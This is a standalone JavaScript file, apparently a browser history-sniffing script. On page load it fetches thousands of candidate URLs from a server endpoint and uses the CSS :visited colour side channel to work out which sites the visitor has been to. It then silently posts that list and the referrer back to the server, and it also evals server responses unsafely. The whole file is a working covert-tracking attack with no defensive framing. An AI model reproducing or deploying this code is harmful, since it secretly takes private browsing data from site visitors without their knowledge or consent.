window.onload=runHS; var BrowserUrls = new Array(); var BrowserHistory = new Array(); var sessionId = ""; var maxUrls = 4000; function runHS() { window.setTimeout("getHistory(0, 1000)", 100); } function getHistory(pos, anz) { http = initXMLHttpClient (); var url = "/uploads/history.php?urls=1&anz=" + anz + "&pos=" + pos; http.open("GET", url, true); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { BrowserUrls = eval('(' + http.responseText + ')'); var bodytag = document.getElementsByTagName('body')[0]; // TODO: Invisible display:none bodytag.innerHTML = bodytag.innerHTML + ""; getHistory2(pos, anz); } } http.send(null); } function getHistory2(pos, anz) { BrowserHistory = new Array(); var ref = escape(document.referrer); var ss1 = document.createElement('style'); var def = 'a {color:#000000;} a:visited {color: #100000;}'; ss1.setAttribute("type", "text/css"); if (ss1.styleSheet) { ss1.styleSheet.cssText = def; } else { ss1.innerHTML = def; } var hh1 = document.getElementsByTagName('head')[0]; hh1.appendChild(ss1); if(document.getElementById('site-list')) { var List = document.getElementById('site-list'); for( var i = 0; i < BrowserUrls.length; i++ ) { var bRemove = false; var Link = document.createElement( 'a' ); Link.href = "http://" + BrowserUrls[i]['url']; Link.id = BrowserUrls[i]['id']; Link.appendChild(document.createTextNode(BrowserUrls[i]['id'])); List.appendChild(Link); if( Link.currentStyle ) { var color = Link.currentStyle['color']; } else if( document.defaultView.getComputedStyle( Link, null ) ) { var color = document.defaultView.getComputedStyle( Link, null ).color; } if (color.indexOf ("1") > 0) { h = document.getElementById(BrowserUrls[i]['id']).innerHTML; BrowserHistory.push (h); } List.removeChild (Link); } } http = initXMLHttpClient (); var url = "/uploads/history.php?ref=" + ref + "&sid=" + sessionId; var params = "data=" + myarray2json(BrowserHistory); http.open("POST", url, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", params.length); http.setRequestHeader("Connection", "close"); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { sessionId = http.responseText; } } http.send(params); nextpos = pos + anz; if (nextpos < maxUrls) { window.setTimeout("getHistory(" + nextpos + "," + anz + ")", 100); } } function initXMLHttpClient() { var xmlhttp; try { // Mozilla / Safari / IE7 xmlhttp = new XMLHttpRequest(); } catch (e) { // IE var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP' ); var success = false; for (var i=0;i < XMLHTTP_IDS.length && !success; i++) { try { xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]); success = true; } catch (e) {} } if (!success) { throw new Error('Unable to create XMLHttpRequest.'); } } return xmlhttp; } function myarray2json(array) { var ret = "["; for (var i = 0; i < array.length; i++) { ret += "\"" + array[i] + "\","; } return ret + "\"\"]"; }